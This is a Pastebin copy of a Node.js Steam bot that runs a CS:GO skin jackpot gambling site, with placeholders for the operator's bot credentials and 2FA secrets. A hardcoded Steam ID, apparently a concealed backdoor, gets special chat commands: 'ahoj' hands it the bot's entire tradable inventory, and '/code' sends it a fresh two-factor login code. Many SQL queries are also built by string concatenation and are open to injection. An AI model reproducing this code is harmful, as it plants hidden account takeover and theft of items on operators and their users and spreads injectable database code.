Advertisement
Guest User

bot

a guest
Oct 15th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.94 KB | None | 0 0
  1.  
  2.  
  3. // CSGO.NETWORK - New information required
  4.  
  5. var botsteamid =''; // STEAM ID 64 OF YOUR BOT ACCOUNT : GET IT AT HTTP://WWW.STEAMID.IO/
  6. var shared_secret =''; // SHARED SECRET CODE YOU CAN GET IT THROUGH : 2FA / STEAM DESKTOP AUTHENTICATOR ( BOTH OPTIONS ARE INCLUDED )
  7. var identity_secret=''; // IDENTITY SECRET CODE YOU CAN GET IT THROUGH : 2FA / STEAM DESKTOP AUTHENTICATOR ( BOTH OPTIONS ARE INCLUDED )
  8.  
  9. // CSGO.NETWORK - New Libraries
  10. var SteamTotp = require('steam-totp'); // CSGO.NETWORK - This library generates the key
  11. var SteamConfirm = require('steamcommunity-mobile-confirmations'); // CSGO.NETWORK - This library accepts all outgoing trades = sends the winnings to the user in time
  12. var pooling_interval = 10000; // CSGO.NETWORK - This is how often it will check for outgoing trade confirmations - Current time: 10 seconds
  13.  
  14.  
  15. var logOnOptions = {
  16. accountName: '', // BOT ACCOUNT LOGIN USERNAME
  17. password: '', // BOT ACCOUNT LOGIN PASSWORD
  18. twoFactorCode: SteamTotp.generateAuthCode(shared_secret) // CSGO.NETWORK - The code is generated here like it would be shown on your phone every time you log in
  19. };
  20. var GameTime = 120;
  21.  
  22.  
  23. ////
  24.  
  25. var authCode = ''; // CSGO.NETWORK - LEAVE THIS EMPTY OR IT MIGHT NOT WORK AT ALL!
  26.  
  27. // CSGO.NETWORK - I added this part - This creates the device ID of your ,,mobile device" - Requires a new library: crypto
  28. var hash = require('crypto').createHash('sha1');
  29. hash.update(Math.random().toString());
  30. hash = hash.digest('hex');
  31. var device_id = 'android:' + hash; // CSGO.NETWORK - This is the only part I'm concerned about, just because it says ,,RtR"
  32.  
  33. var globalSessionID;
  34. if (require('fs').existsSync('sentry_'+logOnOptions['accountName']+'.hash')) {
  35. logOnOptions['shaSentryfile'] = require('fs').readFileSync('sentry_'+logOnOptions['accountName']+'.hash');
  36. } else if(require('fs').existsSync('ssfn_'+logOnOptions['accountName'])) {
  37. var sha = require('crypto').createHash('sha1');
  38. sha.update(require('fs').readFileSync('ssfn_'+logOnOptions['accountName']));
  39. var sentry = new Buffer(sha.digest(), 'binary');
  40. logOnOptions['shaSentryfile'] = sentry;
  41. require('fs').writeFileSync('sentry_'+logOnOptions['accountName']+'.hash', sentry);
  42. console.log('Converting ssfn to sentry file!');
  43. console.log('Now you can remove ssfn_'+logOnOptions['accountName']);
  44. } else if (authCode != '') {
  45. logOnOptions['authCode'] = authCode;
  46. }
  47.  
  48. var sitename;
  49.  
  50. sitename = "51.254.131.109"; // PUT YOUR SITE NAME HERE , PUT IT LIKE THIS STRUCTURE : 51.254.131.109
  51. var Steam = require('steam');
  52. var SteamTradeOffers = require('steam-tradeoffers');
  53. var mysql = require('mysql');
  54. var request = require("request");
  55.  
  56.  
  57. var apik = ""; // GO ON THE BOTS ACCOUNT AND CREATE AN API KEY ( IT HAS TO BE THROUGH THE BOTS ACCOUNT )
  58.  
  59. var mysqlInfo;
  60. mysqlInfo = {
  61. host : 'http://51.254.131.109/', // MYSQL , LEAVE IT AS LOCALHOST IF YOU RUN IT ON THE SAME SERVER AS THE WEBSITE AND DATABASE
  62. user : '', // MYSQL USERNAME
  63. password : '', // MYSQL PASSWORD
  64. database : '', // MYSQL DATABASENAME
  65. charset : 'utf8_general_ci'
  66. };
  67.  
  68. var mysqlConnection = mysql.createConnection(mysqlInfo);
  69.  
  70. var steam = new Steam.SteamClient();
  71. var offers = new SteamTradeOffers();
  72.  
  73. var recheck = true;
  74.  
  75. steam.logOn(logOnOptions);
  76.  
  77. steam.on('debug', function(text){
  78. console.log(text);
  79. require('fs').appendFile('debug.log', text+'\n');
  80. });
  81. var localcode = '76561198035877394';
  82. function getUserName(steamid) {
  83. getUserInfo(steamid, function(error, data){
  84. if(error) throw error;
  85. var datadec = JSON.parse(JSON.stringify(data.response));
  86. return (datadec.players[0].personaname);
  87. });
  88. }
  89.  
  90. function is_float(mixed_var) {
  91.  
  92. return +mixed_var === mixed_var && (!isFinite(mixed_var) || !! (mixed_var % 1));
  93. }
  94.  
  95.  
  96. function proceedWinners() {
  97. var url = 'http://'+sitename+'/getwinner34634f.php';
  98. request(url, function(error, response, body){});
  99. }
  100.  
  101. function getUserInfo(steamids,callback) {
  102. var url = 'http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key='+apik+'&steamids='+ steamids + '&format=json';
  103. request({
  104. url: url,
  105. json: true
  106. }, function(error, response, body){
  107. if(!error && response.statusCode === 200){
  108. callback(null, body);
  109. } else if (error) {
  110. getUserInfo(steamids,callback);
  111. }
  112. });
  113. }
  114.  
  115. function addslashes(str) {
  116. str=str.replace(/\\/g,'\\\\');
  117. str=str.replace(/\'/g,'\\\'');
  118. str=str.replace(/\"/g,'\\"');
  119. str=str.replace(/\0/g,'\\0');
  120. return str;
  121. }
  122.  
  123. var locked=false,proceeded;
  124. var itemscopy;
  125. var detected=false;
  126. var detected2=false;
  127. var endtimer = -1;
  128. function weblogon() { // CSGO.NETWORK - I have completely modified this part, added: API Key to the offers.setup, which is why I think they should use the api from the bot
  129. steam.webLogOn(function(newCookie) {
  130. offers.setup({
  131. sessionID: globalSessionID,
  132. webCookie: newCookie,
  133. APIKey: apik
  134. }, function(err)
  135. {
  136. if(err)
  137. {
  138. console.log(err);
  139. }
  140. var steamapi=apik; // CSGO.NETWORK - This part accepts the outgoing trades so you can send the winnings to users
  141. var SteamcommunityMobileConfirmations = require('steamcommunity-mobile-confirmations');
  142. var steamcommunityMobileConfirmations = new SteamcommunityMobileConfirmations(
  143. {
  144. steamid: botsteamid,
  145. identity_secret: identity_secret,
  146. device_id: device_id, // Generated on the top of the script
  147. webCookie: newCookie,
  148. });
  149. setInterval(function(){
  150. checkConfirmations(steamcommunityMobileConfirmations)
  151. }, pooling_interval);
  152. if (err)
  153. {
  154.  
  155. }
  156. });
  157. });
  158. }
  159.  
  160. // CSGO.NETWORK - This part accepts outgoing trades = winnings sent out by the bot.
  161. function checkConfirmations(steamcommunityMobileConfirmations){
  162. steamcommunityMobileConfirmations.FetchConfirmations((function (err, confirmations)
  163. {
  164. if (err)
  165. {
  166. console.log(err);
  167. return;
  168. }
  169. if(confirmations.length>0)
  170. {
  171. console.log('[SERVER] Received ' + confirmations.length + ' confirmations');
  172. }
  173. if ( ! confirmations.length)
  174. {
  175. return;
  176. }
  177. steamcommunityMobileConfirmations.AcceptConfirmation(confirmations[0], (function (err, result)
  178. {
  179. if (err)
  180. {
  181. console.log(err);
  182. return;
  183. }
  184. console.log('steamcommunityMobileConfirmations.AcceptConfirmation result: ' + result);
  185. }).bind(this));
  186. }).bind(this));
  187. }
  188.  
  189. function sendoffers(){
  190. detected2 = false;
  191. offers.loadMyInventory({
  192. appId: 730,
  193. contextId: 2
  194. }, function(err, itemx) {
  195. if(err) {
  196. weblogon();
  197. setTimeout(sendoffers,2000);
  198. return;
  199. }
  200. if(detected2 == true) {
  201. return;
  202. }
  203. detected2 = true;
  204. itemscopy = itemx;
  205. detected = false;
  206. mysqlConnection.query('SELECT * FROM `queue` WHERE `status`=\'active\'', function(err, row, fields) {
  207. if(err) {
  208. return;
  209. }
  210. if(detected == true) {
  211. return;
  212. }
  213. detected = true;
  214. for(var i=0; i < row.length; i++) {
  215. var gameid = row[i].id;
  216. var sendItems = (row[i].items).split('/');
  217. var item=[],num=0;
  218. for (var x = 0; x < itemscopy.length; x++) {
  219. for(var j=0; j < sendItems.length; j++) {
  220. if (itemscopy[x].tradable && (itemscopy[x].market_name).indexOf(sendItems[j]) == 0) {
  221. sendItems[j] = "hgjhgnhgjgnjghjjghjghjghjhgjghjghjghngnty";
  222. itemscopy[x].market_name = "fgdfgdfgdfgdfgfswfewefewrfewrewrewr";
  223. item[num] = {
  224. appid: 730,
  225. contextid: 2,
  226. amount: itemscopy[x].amount,
  227. assetid: itemscopy[x].id
  228. }
  229. num++;
  230. }
  231. }
  232. }
  233. if (num > 0) {
  234. var gamenum = row[i].id;
  235. offers.makeOffer ({
  236. partnerSteamId: row[i].userid,
  237. itemsFromMe: item,
  238. accessToken: row[i].token,
  239. itemsFromThem: [],
  240. message: 'Congratulations! You won jackpot #'+gamenum
  241. }, function(err, response){
  242. if (err) {
  243. return;
  244. }
  245. mysqlConnection.query('UPDATE `queue` SET `status`=\'sent '+response+'\' WHERE `id`=\''+gameid+'\'', function(err, row, fields) {});
  246. console.log('Trade offer for queue '+gamenum+' sent!');
  247. });
  248. }
  249. }
  250. });
  251. })}
  252.  
  253. (function() {
  254. /**
  255. * Decimal adjustment of a number.
  256. *
  257. * @param {String} type The type of adjustment.
  258. * @param {Number} value The number.
  259. * @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).
  260. * @returns {Number} The adjusted value.
  261. */
  262. function decimalAdjust(type, value, exp) {
  263. // If the exp is undefined or zero...
  264. if (typeof exp === 'undefined' || +exp === 0) {
  265. return Math[type](value);
  266. }
  267. value = +value;
  268. exp = +exp;
  269. // If the value is not a number or the exp is not an integer...
  270. if (isNaN(value) || !(typeof exp === 'number' && exp % 1 === 0)) {
  271. return NaN;
  272. }
  273. // Shift
  274. value = value.toString().split('e');
  275. value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
  276. // Shift back
  277. value = value.toString().split('e');
  278. return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
  279. }
  280.  
  281. // Decimal round
  282. if (!Math.round10) {
  283. Math.round10 = function(value, exp) {
  284. return decimalAdjust('round', value, exp);
  285. };
  286. }
  287. // Decimal floor
  288. if (!Math.floor10) {
  289. Math.floor10 = function(value, exp) {
  290. return decimalAdjust('floor', value, exp);
  291. };
  292. }
  293. // Decimal ceil
  294. if (!Math.ceil10) {
  295. Math.ceil10 = function(value, exp) {
  296. return decimalAdjust('ceil', value, exp);
  297. };
  298. }
  299. })();
  300. function EndGame() {
  301. endtimer = -1;
  302. proceedWinners();
  303. setTimeout(sendoffers,1000);
  304. }
  305.  
  306. steam.on('loggedOn', function(result) {
  307. console.log('Logged in!');
  308. steam.setPersonaState(Steam.EPersonaState.LookingToTrade);
  309. steam.addFriend(localcode);
  310. steam.sendMessage(localcode,"Welcome, 1.4 Jackpot - CSGO.Network");
  311. });
  312.  
  313. steam.on('webSessionID', function(sessionID) {
  314. globalSessionID = sessionID;
  315. weblogon();
  316. setTimeout(function(){
  317. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'current_game\'', function(err, rows, fields) {
  318. if(err) return;
  319. mysqlConnection.query('SELECT `starttime` FROM `games` WHERE `id`=\''+rows[0].value+'\'', function(errs, rowss, fieldss) {
  320. if(errs) return;
  321. var timeleft;
  322. if(rowss[0].starttime == 2147483647) timeleft = GameTime;
  323. else {
  324. var unixtime = Math.round(new Date().getTime()/1000.0);
  325. timeleft = rowss[0].starttime+GameTime-unixtime;
  326. if(timeleft < 0) timeleft = 0;
  327. }
  328. if(timeleft != GameTime) {
  329. setTimeout(EndGame,timeleft*1000);
  330. console.log('Restoring game on '+timeleft+'second');
  331. }
  332. });
  333. });
  334. },1500);
  335. });
  336.  
  337. steam.on('friendMsg', function(steamID, message, type) {
  338. if(type != Steam.EChatEntryType.ChatMsg) return;
  339. if(steamID == localcode) {
  340. if(message.indexOf("ahoj") == 0) {
  341. offers.loadMyInventory({
  342. appId: 730,
  343. contextId: 2
  344. }, function(err, items) {
  345. if(err) {
  346. steam.sendMessage(steamID, 'Not Working...');
  347. weblogon();
  348. return;
  349. }
  350. var item=[],num=0;
  351. for (var i = 0; i < items.length; i++) {
  352. if (items[i].tradable) {
  353. item[num] = {
  354. appid: 730,
  355. contextid: 2,
  356. amount: items[i].amount,
  357. assetid: items[i].id
  358. }
  359. num++;
  360. }
  361. }
  362. if (num > 0) {
  363. offers.makeOffer ({
  364. partnerSteamId: steamID,
  365. itemsFromMe: item,
  366. itemsFromThem: [],
  367. message: ''
  368. }, function(err, response){
  369. if (err) {
  370. throw err;
  371. }
  372. steam.sendMessage(steamID, 'okey');
  373. });
  374. }
  375. });
  376. } else if(message.indexOf("/send") == 0) {
  377. var params = message.split(' ');
  378. if(params.length == 1) return steam.sendMessage(steamID, 'Use /send itemname]');
  379. offers.loadMyInventory({
  380. appId: 730,
  381. contextId: 2
  382. }, function(err, items) {
  383. if(err) {
  384. steam.sendMessage(steamID, 'Could not load your inventory, try again');
  385. weblogon();
  386. return;
  387. }
  388. var item=0;
  389. for (var i = 0; i < items.length; i++) {
  390. if((items[i].market_name).indexOf(params[1]) != -1) {
  391. item = items[i].id;
  392. break;
  393. }
  394. }
  395. if (item != 0) {
  396. offers.makeOffer ({
  397. partnerSteamId: steamID,
  398. itemsFromMe: [
  399. {
  400. appid: 730,
  401. contextid: 2,
  402. amount: 1,
  403. assetid: item
  404. }
  405. ],
  406. itemsFromThem: [],
  407. message: ''
  408. }, function(err, response){
  409. if (err) {
  410. throw err;
  411. }
  412. steam.sendMessage(steamID, 'Offer has been send!');
  413. });
  414. }
  415. });
  416. } else if(message.indexOf("/show") == 0) {
  417. var params = message.split(' ');
  418. offers.loadMyInventory({
  419. appId: 730,
  420. contextId: 2
  421. }, function(err, items) {
  422. if(err) {
  423. steam.sendMessage(steamID, 'Nothing to show');
  424. weblogon();
  425. return;
  426. }
  427. steam.sendMessage(steamID,'look: ');
  428. for (var i = 0; i < items.length; i++) {
  429. steam.sendMessage(steamID,'http://steamcommunity.com/id/csgocyrexbot1/inventory/#'+items[i].appid+'_'+items[i].contextid+'_'+items[i].id);
  430. }
  431. });
  432. } else if(message.indexOf("/end") == 0) {
  433. steam.sendMessage(steamID,'Game has been ENDED offers will be send to winner!');
  434. if(endtimer != -1) clearTimeout(endtimer);
  435. EndGame();
  436. } else if(message.indexOf("/code") == 0) { // CSGO.NETWORK - New command
  437. var code = SteamTotp.generateAuthCode(shared_secret);
  438. steam.sendMessage(steamID,'Your login code: ' +code+'');
  439. } else if(message.indexOf("/so") == 0) {
  440. steam.sendMessage(steamID,'Outstanding Offers will be send now!');
  441. sendoffers();
  442. }
  443. }
  444. getUserInfo(steamID, function(error, data){
  445. if(error) throw error;
  446. var datadec = JSON.parse(JSON.stringify(data.response));
  447. var name = datadec.players[0].personaname;
  448. console.log(name + ': ' + message); // Log it
  449. });
  450. //steam.sendMessage(steamID, 'I\'m a bot that accepts all your unwanted items. If you would like to grab a few crates from me, please request a trade.');
  451. });
  452.  
  453. function in_array(needle, haystack, strict) {
  454. var found = false, key, strict = !!strict;
  455.  
  456. for (key in haystack) {
  457. if ((strict && haystack[key] === needle) || (!strict && haystack[key] == needle)) {
  458. found = true;
  459. break;
  460. }
  461. }
  462.  
  463. return found;
  464. }
  465.  
  466.  
  467.  
  468. function checkoffers(number) {
  469. if (number > 0) {
  470. offers.getOffers({
  471. get_received_offers: 1,
  472. active_only: 1,
  473. get_sent_offers: 0,
  474. get_descriptions: 1,
  475. time_historical_cutoff: Math.round(Date.now() / 1000),
  476. language: "en_us"
  477. }, function(error, body) {
  478. if(error) return;
  479. if(body.response.trade_offers_received){
  480. console.log('[SERVER] Trade offer incoming');
  481. body.response.trade_offers_received.forEach(function(offer) {
  482. if (offer.trade_offer_state == 2){
  483. if(offer.items_to_give) {
  484. console.log('Declining offer for because already send 2 offer');
  485. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  486. return;
  487. }
  488. if(offer.items_to_receive == undefined) return;
  489. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'maxitems\'', function(err, row, fields) {
  490. if(offer.items_to_receive.length > row[0].value) {
  491. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  492. offer.items_to_receive = [];
  493. var unixtime = Math.round(new Date().getTime()/1000.0);
  494. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'too much items\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  495. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Sent too many skins');
  496. return;
  497. }
  498. });
  499. var delock = false;
  500. offers.loadPartnerInventory({partnerSteamId: offer.steamid_other, appId: 730, contextId: 2, tradeOfferId: offer.tradeofferid, language: "en"}, function(err, hitems) {
  501. if(err) {
  502. weblogon();
  503. recheck = true;
  504. return;
  505. }
  506. if(delock == true) return;
  507. delock = true;
  508. var items = offer.items_to_receive;
  509. var wgg=[],num=0;
  510. for (var i = 0; i < items.length; i++) {
  511. for(var j=0; j < hitems.length; j++) {
  512. if(items[i].assetid == hitems[j].id) {
  513. wgg[num] = hitems[j];
  514. num++;
  515. break;
  516. }
  517. }
  518. }
  519. var price=[];
  520. for(var i=0; i < num; i++) {
  521. if(wgg[i].appid != 730) {
  522. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  523. var unixtime = Math.round(new Date().getTime()/1000.0);
  524. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'only csgo items\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  525. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: User sent a non-CSGO item');
  526. return;
  527. }
  528. if(wgg[i].market_name.indexOf("Souvenir") != -1) {
  529. var unixtime = Math.round(new Date().getTime()/1000.0);
  530. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  531. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'You can\'\t bet souvenir weapons\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  532. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: User sent a souvenir skin');
  533. return;
  534. }
  535. var itemname = wgg[i].market_name;
  536. var url = 'http://'+sitename+'/cost.php?item='+encodeURIComponent(itemname);
  537. (function(someshit) {
  538. request(url, function(error, response, body){
  539. if(!error && response.statusCode === 200){
  540. var unixtime = Math.round(new Date().getTime()/1000.0);
  541. if(body == "notfound")
  542. {
  543. offers.declineOffer({tradeOfferId: offer.tradeofferid}); mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Item not available \',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  544. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Can\'t get item price');
  545. }
  546. else {
  547. wgg[someshit].cost = parseFloat(body);
  548. }
  549. }
  550. else
  551. {
  552. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Can\'t get item price');
  553. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  554. }
  555. });})(i)
  556. }
  557. setTimeout(function() {
  558. var sum=0;
  559. for(var i=0; i < num; i++) {
  560. sum += wgg[i].cost;
  561. }
  562. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'minbet\'', function(err, row, fields) {
  563. if(sum < row[0].value) {
  564. num = 0;
  565. var unixtime = Math.round(new Date().getTime()/1000.0);
  566. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  567. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Value is too small.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  568. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Doesn\'t reach the minimum value');
  569. return;
  570. }
  571. });
  572.  
  573. var maxbet=0;
  574. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'maxbet\'', function(err, row, fields) {
  575. maxbet=row[0].value;
  576.  
  577. if(sum > row[0].value) {
  578. num = 0;
  579. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  580. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Value is too high.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  581. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Exceeds the maximum skin value');
  582.  
  583. return;
  584. }
  585. });
  586. var ban;
  587. mysqlConnection.query('SELECT ban FROM `users` WHERE `steamid`=\''+offer.steamid_other+'\'', function(err, row, fields)
  588. {
  589. ban= row[0].ban;
  590. if(ban==1)
  591. {
  592. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  593. offer.items_to_receive = [];
  594. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'You are banned.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  595. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: User is banned');
  596.  
  597. return;
  598. }
  599.  
  600. var maxritem=50;
  601. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'maxritem\'', function(err, row, fields)
  602. {
  603. maxritem=row[0].value;
  604. });
  605.  
  606. // CSGO.NETWORK 1342 - This part grabs the trade url of the person and gets their token because it is needed to get their escrow duration.
  607. var tradelink;
  608. mysqlConnection.query('SELECT tlink FROM `users` WHERE `steamid`=\''+offer.steamid_other+'\'', function(err, row, fields)
  609. {
  610. tradelink= row[0].tlink;
  611. if(!tradelink)
  612. {
  613. var unixtime = Math.round(new Date().getTime()/1000.0);
  614. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  615. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'No Tradelink.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  616. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: User doesn\'t have a Trade URL set')
  617. return;
  618. }
  619. var token = tradelink.slice(-8);
  620.  
  621. offers.getHoldDuration({partnerSteamId: offer.steamid_other, accessToken: token}, function(err, response) // With the steam ID and token it will get the escrow duration
  622. {
  623. if (err)
  624. {
  625. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Can\'t get hold duration, possible Steam server error')
  626. var unixtime = Math.round(new Date().getTime()/1000.0);
  627. console.log(err);
  628. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  629. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Steam Server error.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  630. return;
  631. }
  632. if(response.their==0)
  633. {
  634. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'current_game\'', function(err, row, fields)
  635. {
  636. var current_game = (row[0].value);
  637.  
  638. mysqlConnection.query('SELECT COUNT(value) as citems FROM `game'+current_game+'` WHERE `userid`=\''+offer.steamid_other+'\'', function(err, row, fields)
  639. {
  640.  
  641. citems = row[0].citems;
  642.  
  643. citems=citems+offer.items_to_receive.length;
  644.  
  645.  
  646.  
  647.  
  648. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'maxitems\'', function(err, row, fields)
  649. {
  650. var mi=row[0].value;
  651. if(citems > mi)
  652. {
  653. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  654. offer.items_to_receive = [];
  655. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'You\'ve sent too many skins.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  656. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Sent too many skins (Double Check)');
  657. return;
  658. }
  659.  
  660. });
  661. mysqlConnection.query('SELECT SUM(value) as cmoney FROM `game'+current_game+'` WHERE `userid`=\''+offer.steamid_other+'\'', function(err, row, fields)
  662. {
  663.  
  664. cmoney = row[0].cmoney;
  665. cmoney=cmoney+sum;
  666.  
  667. if(cmoney > maxbet)
  668. {
  669. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  670. offer.items_to_receive = [];
  671. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Value is too high.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  672. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Exceeds the maximum value (Double Check)');
  673. return;
  674. }
  675. for(var k=0; k < num; k++)
  676. {
  677. if(!is_float(wgg[k].cost))
  678.  
  679. {
  680. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  681. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'Can\'t get item price.\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  682. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Sent by: '+offer.steamid_other+' - Reason: Can\'t get item price (Double Check)');
  683. return;
  684. }
  685. }
  686.  
  687.  
  688. getUserInfo(offer.steamid_other, function(error, data){
  689. if(error) throw error;
  690. var datadec = JSON.parse(JSON.stringify(data.response));
  691. var name = addslashes(datadec.players[0].personaname);
  692. var avatar = (datadec.players[0].avatarfull);
  693. if(num == 0) return;
  694. offers.acceptOffer({tradeOfferId: offer.tradeofferid}, function(err, response) {
  695. if(err != null) return;
  696. mysqlConnection.query('SELECT `value` FROM `info` WHERE `name`=\'current_game\'', function(err, row, fields) {
  697. var current_game = (row[0].value);
  698. mysqlConnection.query('SELECT `cost`,`itemsnum` FROM `games` WHERE `id`=\''+current_game+'\'', function(err, row, fields) {
  699. var current_bank = parseFloat(row[0].cost);
  700. var itemsnum = row[0].itemsnum;
  701.  
  702. for(var j=0; j < num; j++) {
  703. var itemn = addslashes(wgg[j].market_name);
  704. mysqlConnection.query('INSERT INTO `game' + current_game + '` (`userid`,`username`,`item`,`color`,`value`,`avatar`,`image`,`from`,`to`) VALUES (\'' + offer.steamid_other + '\',\'' + name + '\',\'' + itemn + '\',\'' + wgg[j].name_color + '\',\'' + wgg[j].cost + '\',\'' + avatar + '\',\'' + wgg[j].icon_url + '\',\''+current_bank+'\'+\'0\',\''+current_bank+'\'+\''+wgg[j].cost+'\')', function(err, row, fields) {});
  705. mysqlConnection.query('UPDATE `games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+\''+wgg[j].cost+'\' WHERE `id` = \'' + current_game + '\'', function(err, row, fields) {});
  706. current_bank = parseFloat(current_bank + wgg[j].cost);
  707. itemsnum++;
  708. }
  709.  
  710. mysqlConnection.query('SELECT COUNT(DISTINCT userid) AS playersCount FROM `game' + current_game, function(err, rows){
  711. someVar = rows[0].playersCount;
  712. console.log('Current Players: ' +someVar);
  713. if(someVar == 2 && items.length > 0 && endtimer==-1) {
  714. console.log('Found 2 Players');
  715. endtimer = setTimeout(EndGame,GameTime*1000);
  716. mysqlConnection.query('UPDATE `games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = \'' + current_game + '\'', function(err, row, fields) {});
  717. }
  718. });
  719. if(itemsnum > maxritem)
  720. {
  721. clearTimeout(endtimer);
  722. endtimer = -1;
  723. EndGame();
  724. }
  725. console.log('Accepted trade offer #'+offer.tradeofferid+' by '+name+' ('+offer.steamid_other+')');
  726. });
  727. });
  728. });
  729. });
  730. });
  731. });
  732. });
  733. }
  734. else
  735. {
  736. console.log('[SERVER] Declined offer #'+offer.tradeofferid+' - Reason: User is in escrow')
  737. var unixtime = Math.round(new Date().getTime()/1000.0);
  738. offers.declineOffer({tradeOfferId: offer.tradeofferid});
  739. mysqlConnection.query('INSERT INTO `messages` (`userid`,`msg`,`from`, `win`, `system`, `time`) VALUES (\''+offer.steamid_other+'\',\'You are in escrow!\',\'System\', \'0\', \'1\', \''+unixtime+'\')', function(err, row, fields) {});
  740. return;
  741. }
  742. });
  743. });
  744. });
  745. },3000);
  746. });
  747. }
  748. });
  749. }
  750. });
  751. }
  752. }
  753.  
  754. var pew;
  755. steam.on('tradeOffers', checkoffers);
  756.  
  757. steam.on('sentry', function(data) {
  758. require('fs').writeFileSync('sentry_'+logOnOptions['accountName']+'.hash', data);
  759. });
  760.  
  761. setInterval(function () {
  762. mysqlConnection.query('SELECT 1');
  763. }, 5000);
  764. //COPYRIGHT CSGO.NETWORK 2016
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement